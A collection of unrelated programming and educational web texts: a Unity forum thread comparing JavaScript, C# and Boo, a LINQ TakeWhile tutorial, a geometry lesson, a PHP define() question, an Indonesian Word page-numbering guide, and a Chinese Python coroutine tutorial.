I guess I am kind of spoiled now by programmer efficient languages like python, boo etc. I am fully comfortable writing in java, C# etc but I really
get annoyed by all the extra cruft. If boo was working on the iphone it is close enough to python to make me happy, since it is not I am pretty much forced
to do everything in C# just so I can have portable code.
9. VoxelBoy
VoxelBoy
Joined:
Nov 7, 2008
Posts:
213
Where are you coming from?
I've only been programming for the past 5 years, senior year of high school to end of senior year in college (which is now.) The first language I worked in was Java and I still like it a lot. Then I learned Scheme, C++, C#, Javascript, Processing, and Arduino. (Well, the last two aren't really full-blown programming languages but they sound cool :D)
Which languages are you working with in Unity?
I started using unity about 4 months ago and the first language I used was Javascript. It seemed easier to get into for some reason, probably because there were more Javascript examples posted on the Unify Wiki and most people seemed to know how to code in JS. Only recently (like, two weeks ago) I've switched to C#. The main reason was that I wanted to use the power of inheritance and singletons and it seemed less ambiguous in C# than in JS. I definitely like the strictly defined variables of C# over JS. I'm sure the other case has its uses but not so much in Unity.
What do you enjoy about using these languages in Unity?
Before Unity I was using the C4 Engine, which required you to go into the Source code to add Controllers to make things work. In Unity, it's much simpler. You want some custom functionality? Script it in JS, C#, or Boo and then attach it to the Game Object you want to control. Bam! No re-building of the source code.
What do you find annoying?
Having to type this:
Code (csharp):
1. AttachedScript scr = obj.GetComponent(typeof(AttachedScript)) as AttachedScript;
All that "typeof" and "as blabla" stuff is just starting to get on my nerves :?
10. Stig_The_Ghost
Stig_The_Ghost
Joined:
Sep 4, 2009
Posts:
12
well 1st my background in programing is PHP and Actionscript 3.0 I like the best :)
so the jump to javaScript was really fast and I was happy it seems like I can do everything I need to do but one day I tried to make my own class an I could not do it in javascript well I can somewhat but its not the same as like in AS3.0 but c# is
Us AS3.0 people look at c# and say what the hell is that... but you need to take a longer look at it
and you will see its the same it's just fliped.. for example
Code (csharp):
1. //javaScript
2. function myfunc() : void{
3. //something gos here//
4. }
5.
6. //c#
7. //this is function just spell it out void now you know its not going to return anything
8.
9. void myfunc(){
10. //something gos here//
11. }
12.
13. Now if you going to return something just flip it around
14. string myfunc(){
15. //something gos here//
16. return;
17. }
18.
19. //javaScript
20. function myfunc() : String{
21. //something gos here//
22. return;
23. }
24.
25. //variables and data typing
26.
27. //c#
28. float mynumber = 10F;
29.
30. //javaScript
31. var mynumber : float = 10;
32.
See how things are kind of fliped
But now if you really play with c# you will find out c# is more like as3.0 in allot of ways like how classes work and how you use them feel the same.
In this way I feel c# could be more powerful
Plus I use SmartFox Server pro and it seems you have to use c# to use there frame work anyway its good to know both javaScript and c#
I really Think javaScript it easier to read and more organized but that’s just me..
I hope this makes sents to you I feel sleepy im going to bed..
11. amy
amy
Joined:
Apr 8, 2009
Posts:
58
I don't like to learn and use proprietary languages that aren't useable for anything other than the product they are made for. So UnityScript is out of the question for me.
I prefer Boo because I like its python inspired syntax. It's a more productive language than C# but unfortunately it isn't supported for iPhone development. I hope this will change now that the Boo creator works for UT.
12. pete
pete
Joined:
Jul 21, 2005
Posts:
1,648
stig - that was cool. probably one of the best comparisons i've seen yet. cheers!
13. pete
pete
Joined:
Jul 21, 2005
Posts:
1,648
double post on purpose!
hey amy... why don't you post the same stuff stig did but in boo? i'd be interested in that context.
just a thought...
14. Timmer
Timmer
Joined:
Jul 28, 2008
Posts:
330
Here you go....
Code (csharp):
1. // JavaScript
2. function myfunc() : void {
3. //something gos here//
4. }
5.
6. // C#
7. void myfunc() {
8. //something gos here//
9. }
10.
11. # Boo
12. def myfunc():
13. # something goes here and without pinky-killing semicolons!
14. # also note no end-function keyword
15. # ....
16.
17. Now if you going to return something just flip it around
18.
19. // javaScript
20. function myfunc() : String {
21. //something gos here//
22. return;
23. }
24.
25. // C#
26. string myfunc(){
27. //something gos here//
28. return;
29. }
30.
31. # Boo (explicit return type)
32. def myfunc() as string:
33. # 'as' is the casting/type keyword in Boo so basically sayiing
34. # this function is of type 'string'
35. # note this is optional and only needed if return type is not clear
36. return "hello world"
37.
38. # Boo (less typing version: ie, implicit return type)
39. def myfunc():
40. return "hello, world"
41.
42. //variables and data typing
43.
44. //c#
45. float mynumber = 10F;
46.
47. //javaScript
48. var mynumber : float = 10;
49.
50. # Boo
51. mynumber = 10
52.
In summary, if you care about your fingers, you use Boo. If you get paid by keyboard manufacturers you can use the others ;)
15. Eric5h5
Eric5h5
Volunteer Moderator Moderator
Joined:
Jul 19, 2006
Posts:
31,190
Most of those Javascript examples could be shortened quite a bit, though, without losing anything; Javascript and Boo are actually fairly similar in verbosity and share some of the same things (including the author, so that's not a surprise...). e.g., "mynumber = 10" is valid Javascript if you add a semicolon. ;) (That will be an integer though...you need "mynumber = 10.0" if you want a float.)
--Eroc
16. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
As of Unity 2.6 this is finally history. You can now type instead:
Code (csharp):
1. AttachedScript scr = obj.GetComponent<AttachedScript>();
Finally, the Unity API is using generics where it makes sense - yeeeha!!!
17. andeeeee
andeeeee
Joined:
Jul 19, 2005
Posts:
8,768
Where are you coming from?
I started with Microsoft Basic on the little-known Dragon 32 (!) and later a bit of AmigaBasic. My first programming job was with legacy ThinkPascal code, C/C++ and a bit of Perl. A subsequent job involved web server scripting with PHP/MySQL and a fair bit of stuff in RealBasic and Flash/ActionScript. I've also had an interest in Lua and I think array languages like APL and R have great untapped potential. I guess I'm a bit of a language whore, really - I'll do anything with any available language.
Which languages are you working with in Unity?
For preference C#, but I do some JS for examples, etc. I'm willing to use Boo, but somehow it has never come up...
What do you enjoy about using these languages in Unity?
C# just feels like the latest and greatest development in the familiar C family. Also, the standardisation and the fact you can easily use the same language for non-Unity stuff with Mono. I'm still faintly hoping UT will do a souped-up, game-centric derivative of C sometime in the future.
What do you find annoying?
MyPlayerController player = (MyPlayerController) playerObject.GetComponent("MyPlayerController");
(But see previous post...)
Who do you serve and who do you trust?
The Vorlons, obviously ;-)
18. taumel
taumel
Joined:
Jun 9, 2005
Posts:
5,293
All three languages aren't anywhere near perfect for various reasons (better languages already around, poor documenation, better integration needed, ...), same like quite some of the Unity commands.
They do work but aren't enjoyable to use.
19. tonyd
tonyd
Joined:
Jun 2, 2009
Posts:
1,224
Where are you coming from?
Learned Basic on an Apple II a long time ago. Have since used Applescript, c, c++, c#, actionscript, javascript, GML (gamemaker scripting language), and python. Python spoiled me, I have a hard time programming in anything else now!
Which languages are you working with in Unity?
Javascript, but only because BOO isn't supported on the iPhone. If Iron Python support is added, I'll switch to that and never look back...
What do you enjoy about using these languages in Unity?
I enjoy not having to learn objective c to make an iPhone game. I enjoy being able to test my code immediately, without having to create a build every time.
What do you find annoying?
Brackets and semi-colons, I think it makes for ugly code. And how painful nested arrays and hashtables are on the iPhone.
I'm also frustrated at how long it's taking me to master Unity in general. :wink:
20. Stig_The_Ghost
Stig_The_Ghost
Joined:
Sep 4, 2009
Posts:
12
Thats Supper Cool I like to play with Boo too, I really love programming its creative just like being and artist :D
21. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
I just thought I'd post some regular expressions to convert from the "old ugly verbose style" of GetComponent to the new one. Use these regular expressions at your own risk!!! I did this in my project in the 3 steps below and it worked pretty smoothly (using global search and replace with regular expressions activated):
Code (csharp):
1. Step 1: Find what:
2. \({:a+}\){.*}GetComponent\(typeof\(\1\)\)
3.
4. Replace with:
5. \2GetComponent<\1>()
6.
7.
8. Step 2: Find what:
9. { [A-Za-z0-9\.]+}GetComponent\(typeof\({:a+}\)\) as \2
10.
11. Replace with:
12. \1GetComponent<\2>()
13.
14.
15. Step 3: Find what:
16. GetComponent\(typeof\({:a+}\)\)
17.
18. Replace with:
19. GetComponent<\1>()
If you're not using Asset Server or another version control system and have checked everything in before doing this - be sure to make a backup!
22. Godheval
Godheval
Joined:
Nov 29, 2009
Posts:
7
Sorry not to be able to weigh in on this conversation just yet, but...
If you are completely new to programming (not counting HTML or CSS - I know, laugh at me), and you want to use Unity3D, which would you recommend between C# and JS?
I'm hearing a lot of conflicting opinions in this thread alone, and it seems people have reasons for their preferences, but...specifically for a new programmer, which would be easiest to get into?
What're the limitations, if any, of either language?
Thanks!
(Edit: I noticed that all of the Unity documentation and the one book on Unity development all use JS. Is there a reason for this?)
23. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
I think it really depends on what you like: JavaScript and UnityScript is somewhat less strict which may appear easier to use (and less to type in some cases). It implicitely does a few things for you where C# would throw a compilation error and ask you to tell it exactly what you want. Some people consider this an advantage of JavaScript compared to C# - others (like myself) consider it a disadvantage.
The reason why I consider it a disadvantage is that when learning programming (or a programming language, or an API - like the one provided by Unity), I want to get all the "relevant" information by just reading the code. I don't want to have to "know" things to fully understand what's going on there - I want to have it written in the code. One reason why I prefer it that way is that it gives me "hooks" which I can follow to look things up. My experience with UnityScript (which is more or less a synonym to JavaScript on these forums) is that especially when learning, those hooks were missing which made it much harder for me. I ended up converting many of the examples from UnityScript to C# - the difficult part in that was "adding the missing information" - the syntax isn't *that* different after all; and then I had examples that I could actually immediately understand when reading them.
With C#, on the other hand, you may get a few more compiler errors in the beginning - but in my experience you'll get less runtime errors in the long run. "Compiler errors" are those you get without even starting the game - compared to "runtime errors" which only happen when the game executes the code. Compiler errors are always much easier to fix than runtime errors.
Another reason why I'd always recommend learning C# to a "programming novice" is because C# is a well-specified language with lots of tutorials available. And all of those tutorials refer to the same C# (well, there's different versions, 1.0, 1.1, 2.0 and 3.5 - but those are chronological, Unity is currently at 2.0; 3.5 to be "available" somewhere in the not-so-distant-future).
If while working with the language you don't understand something and want to know "now what exactly does this mean"? You can always look into the specification and will find the description.
With JavaScript, on the other hand, when you look for tutorials and learning resources, most of what you will get are tutorials referring to ECMAScript or the JavaScript dialects implemented in browsers. So most of what you get is related to Web development; and significant parts of that are not relevant to using UnityScript aka JavaScript in Unity (which is "very much like JavaScript - but not exactly JavaScript").
24. Godheval
Godheval
Joined:
Nov 29, 2009
Posts:
7
So you're saying that C# makes for cleaner code? Analogous to the difference between using XHTML strict vs. transitional?
And does it also mean that where I make a mistake in C#, it'll be easier to identify? One of the reasons I've dreaded programming, why I've never gotten into it before, was because I did not want to have to search a hundred pages of code for a single syntax error. Maybe that's just a myth, but...I want to avoid that like the plague.
25. Eric5h5
Eric5h5
Volunteer Moderator Moderator
Joined:
Jul 19, 2006
Posts:
31,190
Yes, that's a myth...when you get a syntax error, it tells you what line it's on. In any language.
--Eric
26. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
Yeah, I think the difference between XHTML strict vs. transitional is a nice analogy. In my opinion, C# enforces cleaner code, while you can also write clean code in JavaScript - but it's just not enforced. Keep in mind, though, that "clean" is in the eye of the beholder ;-)
I'd say that in general in fact mistakes in C# are easier to identify.
Modern compilers spit out the line numbers of where they find the problems - so usually, you'll just click on the error message and will be immediately taken to where the problem is (that applies to any language you could use with Unity, though - so that's not something specific to C#).
27. Godheval
Godheval
Joined:
Nov 29, 2009
Posts:
7
Alright, so I'm being swayed towards C#. A little more work in the short-term to save frustrations in the long-term sounds good to me.
And what's this about intellisense not being available for JS? I might've read something obsolete.
28. jtbentley
jtbentley
Joined:
Jun 30, 2009
Posts:
1,378
I know this a pointless post, but I lost it when I saw that.
29. Eric5h5
Eric5h5
Volunteer Moderator Moderator
Joined:
Jul 19, 2006
Posts:
31,190
I did find your claim about always asking yourself "Does this add anything?" before posting to be suspiciously unlikely. ;)
--Eruc
30. Jessy
Jessy
Joined:
Jun 7, 2007
Posts:
7,327
31. jtbentley
jtbentley
Joined:
Jun 30, 2009
Posts:
1,378
By bringing it to peoples attention, I was hoping to add something :)
Oh, and I use Javascript because I find its syntax the easiest :)
32. Godheval
Godheval
Joined:
Nov 29, 2009
Posts:
7
One other thing...
Does the language matter with regards to whether you'll be using a Mac or a PC? Because isn't C# specific to Microsoft?
33. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
No, not at all.
While C# has been developed by Microsoft, it's also available in Mono which is cross-platform. Personally, I really enjoy using Visual Studio (in VMWare, on my Mac) but there's also MonoDevelop which supports C# and is cross-plattform.
34. Tapgames
Tapgames
Joined:
Dec 1, 2009
Posts:
242
Hi All,
I am a Maya user and just want to focus on one language. What I know is that Maya can read Python script so is Boo the language for me to learn?
Unity Website:
Unity supports three scripting languages: JavaScript, C#, and a dialect of Python called Boo. All three are equally fast and interoperate. All three can use the underlying .NET libraries which support databases, regular expressions, XML, file access and networking.
Roy
35. Dreamora
Dreamora
Joined:
Apr 5, 2008
Posts:
26,596
Boo is not exactly python but has similarities, so if you want to focus on one and maya only offers python then it would be boo to learn. But be aware that you can not use Unity iPhone then
36. Godheval
Godheval
Joined:
Nov 29, 2009
Posts:
7
All this stuff about Mono totally confuses me. Is Mono a compiler? And speaking of compilers, can I learn all I need to learn of C# to use Unity with Visual C# Studio Express? Or do I need the full version?
(By the way, I'm using a PC now, but within a few months I intend to buy a new iMac).
37. Dreamora
Dreamora
Joined:
Apr 5, 2008
Posts:
26,596
Mono is an alternative .NET framework
You can learn C# up to a given point in VS, but you would need to have VC# 2003 to be on an equal language feature level as you are with unity, so keep in mind that you will likely see things that don't exist in mono 1.2.5
Generally you can skip the following topics as you can't use them:
1. The whole window forms stuff
2. namespaces
3. no Microsoft.xxx stuff
38. rouhee
rouhee
Joined:
Dec 23, 2008
Posts:
194
C# all the way (and yes, I am little disapointed that all the Help Examples are in Javascript).
I've never used Boo and I am not going to learn another syntax just for fun.
And what comes to Javascript, although I can write code with it (I use it mostly for web programming), I find it little too poor for my needs.
39. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
I've just posted a pretty extensive answer to that question to Unity Answers: What is Mono? Is it a compiler? A language? Or what?
Btw: C# in Unity is "about" what you get with Visual Studio 2005, which uses .NET 2.0. Mono 1.2.5 is "about" what .NET 2.0 provides. Visual Studio 2003 used .NET 1.1 which is "about" what Unity iPhone provides (in particular: no generics). The current version of Visual Studio (2008) uses .NET 3.5 (or 2.0 if you wish - you can set it in the project settings). 3.5 is "way above" what Unity currently provides ... but 2.0 is just fine ;-)
Express, Pro or whatever other edition of Visual Studio has no effect regarding the language features (it's more a thing about IDE features, in simpler terms "editor features" ;-) ). So, for most needs, Visual Studio Express should just be fine.
40. Dreamora
Dreamora
Joined:
Apr 5, 2008
Posts:
26,596
d'oooohhh!
(yes 2003 was VERY LONG ago ... or no wait, I'm just old)
41. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
Don't you remind me of that! ;-) ... Seriously: Don't tell anybody! The truth is: We were just doing some time travelling to the stone age of computer-technology ... you know? For educational purposes, kk? We were born 2012, weren't we? Don't you remember?
42. rouhee
rouhee
Joined:
Dec 23, 2008
Posts:
194
Oh, the good'old'days ... :D
When i started bang my head against the wall, the VS6 was out and DirectX was in version 5. :wink:
43. WinningGuy
WinningGuy
Joined:
Aug 10, 2009
Posts:
884
What is it about Boo that keeps it from working on iPhone?
I thought all 3 languages compiled to pretty much the same code.
44. Dreamora
Dreamora
Joined:
Apr 5, 2008
Posts:
26,596
If I had to guess then the fact that Unity iPhone has no .NET 2.0 only .NET 1.1
45. aaron parr
aaron parr
Joined:
Apr 22, 2007
Posts:
577
Isn't the language restriction on the iphone due to which frameworks they wished to pack into the app?
46. asterix
asterix
Joined:
Aug 1, 2009
Posts:
245
As kid I played a little with Basic, then at school Logo :D, later at high school, more logo. But the teacher make us create a game, it was fun. I din't took any other class on programmation, even if I liked it. I try a little VB, din't like it. Then I decide let's make game. Did a little of Dark Basic, was a waste of time. 3D rad was nice, but limited. Blender game engine, ok, let's skip this one. Then I arrived here. Wow, easy to learn, boo, JavaScript what ever. My first question was: ok what is easy. Here is what I found.
Some where saying: JS, it is like but it is not like JS. Ok what it is, I still ask myselve. Some said they read or took courses on JS and din't see any link with UnityScript.
Alot of programmer (doing that as job/ already studied programmation) would say wow it is so easy, C# is perfect, and JS is garbage. OK.
Also there I read that a guy read a whole book on C# and din't find it usefull.
Boo, I din't eard of it.
I start learning JS, then C# to use with Unity. well I really liked C#, but in some place, people can't help you out, cause they only know JS. Or you go in doc and all example are in JS. So if you are a C# programmer YOU ARE SUPPOSED TO KNOW EVERYTHING, and be able to see the C# in through the examples.
I start to understand all those . . . everywhere, comming from BASIC it is, wow what is that for.
It look like people get disouraged with Unity or they come from Actionscript (Flash) or another game engine and know where they are going. I believe Unity is for initiated and it should be mentionned in the description of the product, it is called be profesionnal. Like C4 they mention: prior knowledge C++, that is clear, if you don't know it, just not waste your time here. XNA is clear too on that http://www.xnadevelopment.com/tutor...opment/GettingStartedWithXNADevelopment.shtml
Unity is cool but often frustrating, but have a long run to learn what easy mean. Easy mean, you give that to someone that have not much knowledge and with tutorials you can do alot. Right now Unity is for initiated programmer and people that migrate from another game engine.
47. zibba
zibba
Joined:
Mar 13, 2009
Posts:
165
I use C# because it's easy for me. Easy because I have a C, C++, assembler background and C# is easy compared to C++. Though I would love to see a Unity Pro+ which let me use C++ and forget about the Mono virtual machine :D
I think all the documentation and tutorials are in UnityScript because the bloke who wrote the manual knew it.
Unity is "easy" because I don't have to spend 2 years writing the engine, physics, art importers, audio, level editor and so on. It's still programming though. It's not a point and click game maker.
48. jedy
jedy
Joined:
Aug 1, 2010
Posts:
573
Javascript is cake. This is why it is so awesome - easy but fully functional.
Anyways I tend to use C#. Mainly because it is faster. After some Java and C++ development, C# isn't a problem at all.
49. Kokumo
Kokumo
Joined:
Jul 23, 2010
Posts:
416
Almost ten years of programming, which includes (not in order):
- Visual basic
- Asp
- Php
- Pascal
- Basic
- Action Script
- Java
- .NET
The last 4 years, working with Action Script, Java and Visual Basic.
I use C# because of the designs patterns and documentation available; making singletones, interfaces or abstract class are really easy comming from Java, which is quite similar to C.
If i found a code in Unity Script, i translate it to C# (of course, trying to improve it).
jashan said everything.
Nothing in fact... :D
50. Vimalakirti
Vimalakirti
Joined:
Oct 12, 2009
Posts:
755
Back around 1980 I used a TRS-80 Model 2 and then my dad got the new product called the "IBM Personal Computer" that had a whopping 64K of RAM and was Soooo Excited! I did a lot of programming in BASIC.
After that I went to art school, adventured around the world, and built myself a cabin in the mountains of New Mexico with no running water, solar electric, and wood heat for 18 years, so I was far far away from computers and everything about them.
When I finally came down off the mountain 3 years ago to re-join society I was blown away by what computers had become! I got into making 3d art, first in SecondLife then (after being very inspired by 6 months of complete immersion in World of Warcraft) 3ds Max. I wanted to be part of this exciting new world of computers and virtual worlds!
I began to learn programming about a year ago. I started with some C++. Eight months ago I started working with Unity and used Javascript because that's what all the tutorials and other resources used. With the help of these forums I can say that now I am a competent JS programmer and can make Unity do most anything I want it to!
As I wrote, I've been working with JS but have finally been making the switch to C# during the last month because it seems like a more rigorous language and is more widely used, so C# will continue to be an asset no matter what engine/task I am working on. And C# is object oriented so it is a better gateway into the wider world of programming languages. Nowhere in JS have I seen the word "class". I'm not sure if JS can even be called object oriented, but I'm new at all this.
Since I'm so new to programming, I just love that when I use these languages in Unity I see results. I'm a building contractor by trade so I'm used to looking back at the end of the day and seeing something there that wasn't there that morning. In Unity that happens. I spend a day programming and at the end of the day my program does stuff that it didn't that morning. Cool stuff! Stuff that includes AI, movement, lighting, graphics... It's immediate gratification and who doesn't like that? Of course some days I bang my fingers against the keyboard and nothing happens...
After taking the last 2 days to translate all my scripts in my latest Unity project from JS to C# what I find annoying is a lack of C# resources. Maybe I'm missing something, but it is hard to dig up examples of code in C#. The syntax is just different enough to be really very frustrating. I would love to see a forum for C# Scripting specifically.
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LINQ TakeWhile Partition Operator
In LINQ, TakeWhile operator is used to get the elements from list / collection data source as long as the condition specified is holding true in the expression. When the condition stops holding to be true it does not return those elements.
Syntax of LINQ TakeWhile Operator
Following is the syntax of using LINQ TakeWhile operator to get the elements from list based on the condition specified.
C# Code
IEnumerable<string> result = countries.TakeWhile(x => x.StartsWith("U"));
VB.NET Code
Dim result As IEnumerable(Of String) = countries.TakeWhile(Function(x) x.StartsWith("U"))
If you observe above syntax we are getting elements from the list where element starts with “U
Example of LINQ TakeWhile in Method Syntax
Following is the example of using LINQ TakeWhile in method syntax to get elements from list / collection based on condition.
C# Code
using System;
using System.Collections.Generic;
using System.Linq;
namespace LINQExamples
{
class Program
{
static void Main(string[] args)
{
string[] countries = { "US", "UK", "Russia", "China", "Australia", "Argentina" };
IEnumerable<string> result = countries.TakeWhile(x => x.StartsWith("U"));
foreach (string s in result)
{
Console.WriteLine(s);
}
Console.ReadLine();
}
}
}
VB.NET Code
Module Module1
Sub Main()
Dim countries As String() = {"US", "UK", "Russia", "China", "Australia", "Argentina"}
Dim result As IEnumerable(Of String) = countries.TakeWhile(Function(x) x.StartsWith("U"))
For Each s As String In result
Console.WriteLine(s)
Next
Console.ReadLine()
End Sub
End Module
In above example we used TakeWhile () Operator and a lambda expression in which we specified that it selects only the countries that starts with “U”. So it will return elements till the condition holds true for the items in list / collection.
When the condition is no longer true it does not take the element. So in the array we have only the first two countries that have starting letter “U”. So it returns only the first two elements.
Output of LINQ TakeWhile Operator Example
Following is the result of LINQ TakeWhile in method syntax example to get the elements from list based on condition.
US
UK
Example of LINQ TakeWhile in Query Syntax
Following is the example of using LINQ TakeWhile operator in query syntax to get the elements from list based on condition.
C# Code
using System;
using System.Collections.Generic;
using System.Linq;
namespace LINQExamples
{
class Program
{
static void Main(string[] args)
{
string[] countries = { "US", "UK", "Russia", "China", "Australia", "Argentina" };
IEnumerable<string> result = (from x in countries select x).TakeWhile(x => x.StartsWith("U"));
foreach (string s in result)
{
Console.WriteLine(s);
}
Console.ReadLine();
}
}
}
VB.NET Code
Module Module1
Sub Main()
Dim countries As String() = {"US", "UK", "Russia", "China", "Australia", "Argentina"}
Dim result As IEnumerable(Of String) = (From x In countries).TakeWhile(Function(x) x.StartsWith("U"))
For Each s As String In result
Console.WriteLine(s)
Next
Console.ReadLine()
End Sub
End Module
Ouput of LINQ TakeWhile() Operator in Query Syntax
If we execute the above program, we will get output like as shown below
US
UK
This is how we can use LINQ TakeWhile partition operator in method syntax / query syntax to get elements from sequence in list / collection based on the condition we defined in expression.
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© 2015 Shmoop University, Inc. All rights reserved.
Basic Geometry
Basic Geometry
At a Glance - Similar Figures
Similar figures have the same shape, but might not be the same size
• When two shapes are similar, their corresponding sides are proportional (see ratios and proportions) and their corresponding angles are congruent.
• An older sister and a younger sister might be considered similar
Congruent figures have the same shape and size.
• When two shapes are congruent, their corresponding sides and angles are congruent.
• Identical twins might be considered congruent
Here are two symbols that you need to know:
~ means similar
≅ means congruent
Look Out: be careful when reading which sides correspond to each other; the shapes may be rotated.
Example 1
Quadrilaterals ABCD and EFGH are congruent (ABCD ≅ EFGH). Find the measure of each missing angle and side.
ABCD and EFGH quadrilaterals
Example 2
Triangles ABC and DEF are similar (ABC ~ DEF). What is the length of side DF?
Similar Triangles ABC and DEF
Example 3
The sun casts a shadow on two trees in a field. The smaller of the two is 10.5 ft high and has a shadow 11.25 ft long. The shadow of the taller tree is 17.5 ft long. How tall is that tree?
tree
This is actually how the heights of many tall structures are estimated!
Example 4
Pentagons OPQRS and TUVWX are both regular. Find the length of the apothem of TUVWX.
Pentagons
The apothem is the distance from the center of a regular polygon to the midpoint of one side.
Exercise 1
JKLM ~= NOPQ What are m ∠ K and m of line MJ?
Trapezoids
Exercise 2
Triangle RST ~ Triangle UVW. Find the length of sides ST and VU. Round to the nearest hundredths place.
Triangles RST and UVW
Exercise 3
The sun casts a 23 foot shadow on a flagpole. You are 5 feet 3 inches and cast an 11 foot shadow. Approximately how tall is the flagpole? Round to the nearest hundredths place.
flagpole
Exercise 4
One square has side lengths of 5 cm, and a diagonal ≅ 7.07 cm. Another square has side lengths of 8 cm. What is the length of its diagonal?
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hi all,
im new to php and im stuck with a "constant" problem.
i was studying a code snippet and trying to creat a constant with define() like this:
define("ABC",1,TRUE).
i dont understand why it results nothing if the second parameter is 0.
The consant type is boolean and it works fine if the parameter is
1, but if it is 0, it seems as if it doesnt handle it at all.
thanks
It's as if what doesn't handle it at all. define doesn't return anything accept true/false whether it successfully declared the constant or not. What exactly are you trying to do?
It's as if what doesn't handle it at all. define doesn't return anything accept true/false whether it successfully declared the constant or not. What exactly are you trying to do?
this is what i want to figure out:
define("EW_IS_WINDOWS", (strtolower(substr(PHP_OS, 0, 3)) === 'win'), TRUE);
if im not mistaken, "EW_IS_WINDOWS" returns true if the operating system is Win OS, but what if it is not.
when i changed 'win' to 'wi', print EW_IS_WINDOWS returned nothing. it should return false, shouldnt it.
Yes. It should return boolean false. What are you getting instead? What is the output of:
var_dump(EW_IS_WINDOWS);
Yes. It should return boolean false. What are you getting instead? What is the output of:
var_dump(EW_IS_WINDOWS);
define("EW_IS_WINDOWS", (strtolower(substr(PHP_OS, 0, 3)) === 'win'), TRUE);
print EW_IS_WINDOWS."<= output";
output:
1<= output
define("EW_IS_WINDOWS", (strtolower(substr(PHP_OS, 0, 3)) === 'wi'), TRUE);
print EW_IS_WINDOWS."<= output";
output:
<= output
Not to be rude but I didn't say print, I said var_dump. That tells you the type along with the value so you would see.
boolean(true)
or
boolean(false)
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Sabtu, 02 Juni 2012
TUTORIAL MEMBUAT HALAMAN BERBEDA PADA MICROSOFT WORD 2007
Seringkali disaat kita membuat sebuah laporan ataupun menyusun skripsi kita disuguhkan aturan-aturan pembuatan dokumen tersebut. Dari jenis huruf, ukuran hurup, dimensi kertas, paragraph, halaman, dan lain sebagainya. Pada Tutorial Membuat Halaman Berbeda ini, saya hanya akan membantu dalam hal pembuatan nomor halaman, terutama penomoran halaman yang berbeda.
Langsung saja kita mulai, pertama-tama kita pisahkan dulu dari jenis halamanya, biasanya saya pisahkan menjadi 3 bagian:
1. Bagian awal
Di dalam bagian ini terdiri dari halaman judul, kata pengantar, sampai dengan daftar isi
2. . Bagian isi
Di dalam bagian ini terdiri dari Bab 1 sampai bab akhir
3. Bagian akhir
Di bagian akhir ini terdiri atas daftar pustaka dan lampiran-lampiran
Sebuah dokumen, pengaturan asli dari Ms Word hanya menggunakan satu section, dan jika kita ingin membuat halaman berbeda dari sebuah dokumen maka kita harus membuat dokumen kita mempunyai banyak section, untuk melihatnya kita hanya perlu membuka bagian atas/kepala dari sebuah halaman yang disebut dengan header dan bagian bawah/kaki dari sebuah halaman yang disebut dengan footer. Untuk melihatnya kita hanya perlu menaruh kursor pada bagian tersebut.
Gambar 1. Header dan Footer
Pada pengaturan awal hanya ada header dan footer, maka untuk membuat halaman berbeda dari sebuah dokumen maka kita harus membuat beberapa section, cara yang paling mudah adalah dengan menambahkan section breaks, letakan cursor pada akhir dari bagian pertama misal di daftar isi yang paling ujung bawah atau di awal judul bab 1, selanjutnya buka tab Page Layout klik Breaks Next page
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第5天，协程函数、匿名函数、模块与包、正则
目录：
一、协程函数
表达式形式的yield的用途
二、函数的递归调用
三、匿名函数lambda
max()
min()
sorted()
map()
reduce()
filter()
四、模块
1.什么是模块
2. 为何要使用模块
3. 导入模块
3.1 import
3.2 from … import …
3.3 把模块当做脚本执行
3.4 模块搜索路径
3.5 dir()函数
五、包
5.1 import
5.2 from … import …
5.3 __init__.py文件
5.4 from glance.api import *
5.5 绝对导入和相对导入
5.6 单独导入包
六、re模块
re模块提供的方法
上一节课生成器还有一些知识点没讲到，接下来补充；
一、协程函数
生成器：yield关键字的另外一种用法
yield的语句形式有两种：
• yield n //n为yield的返回值
• x = yield n //yield的表达式形式，n为yield返回值
现在模拟去餐厅吃饭，服务员上一盘菜，你就吃一盘，然后等着服务员再继续上菜
def eater(name):
print('%s ready eat something ...'%name)
food_list = []
while True:
food = yield food_list
print('%s eat a %s'%(name,food))
food_list.append(food)
g=eater('alex') # g是一个生成器对象
next(g) # 第一次必须给yield传一个空值
res = g.send('饺子') #g.send('饺子')就相当于服务员上菜
print(res)
g.send('包子')
res1 = g.send('饼子')
print(res1)
输出结果：
alex ready eat something ...
alex eat a 饺子
['饺子']
alex eat a 包子
alex eat a 饼子
['饺子', '包子', '饼子']
执行流程解析：
1. g=eater('alex') ,g是一个生成器对象，这一步并不会使eater()函数执行；
2. 遇到next(g)，会触发eater('alex')开始执行；
3. eater('alex')执行中遇到yield关键字时，函数执行暂停在此处，并返回yield后面的值food_list(此时food_list是一个空列表)，跳出到函数外面触发eater('alex')执行的一行（next(g)所在的那一行）；
4. next(g)接收yield返回的food_list(此时是空列表)，并继续往下执行；
5. 当遇到g.send('饺子')时，会将'饺子’传给yield，并触发eater('alex')从上次暂停的位置（yield处）开始执行，yield接收g.send('饺子')传进来的值，并赋值给food （此时food = '饺子'），然后eater('alex')函数继续往下执行；
6. while True死循环，循环到下一次yield时，暂停执行，将food_list返回给g.send('饺子')，此时的food_list加入了food(food='饺子')，并将food_list赋值给res;
7. 继续往下执行，每当遇到g.send()就会重复第5步的流程，遇到yield就会重复第6步的流程；
总结：
• next(g)g.send('x')都能触发生成器函数的执行，不同的是send可以给yiled传值；
• 第一次给yield传值，必须传空值，next(g)也相当于给yield传了一个空值，所以next(g)也可用g.send(None)替换;
• 由于给每个生成器函数传值之前必须先传一个空值，这样很容易让人忘掉此步骤，基于此，可以将此步骤写成一个装饰器去实现；这样就可以在多处使用了；请看下面的实现代码 。
应用如下：
def init(func):
'''这个装饰器的作用是初始化其他生成器函数'''
def wrapper(*args,**kwargs):
g=func(*args,**kwargs)
next(g)
return g
return wrapper
init # eater = init(eater)
def eater(name):
print('%s ready eat something ...'%name)
food_list = []
while True:
food = yield food_list
print('%s eat a %s'%(name,food))
food_list.append(food)
g=eater('alex')
# res=next(g)
g.send('饺子')
g.send('包子')
g.send('饼子')
print(g.send('牛奶'))
输出结果：
alex ready eat something ...
alex eat a 饺子
alex eat a 包子
alex eat a 饼子
alex eat a 牛奶
['饺子', '包子', '饼子', '牛奶']
可以看出，注释掉res = next(g)后，执行结果与之前无异。
表达式形式的yield的用途
# 实现类似grep -rl ‘xxx’ /root 的功能;
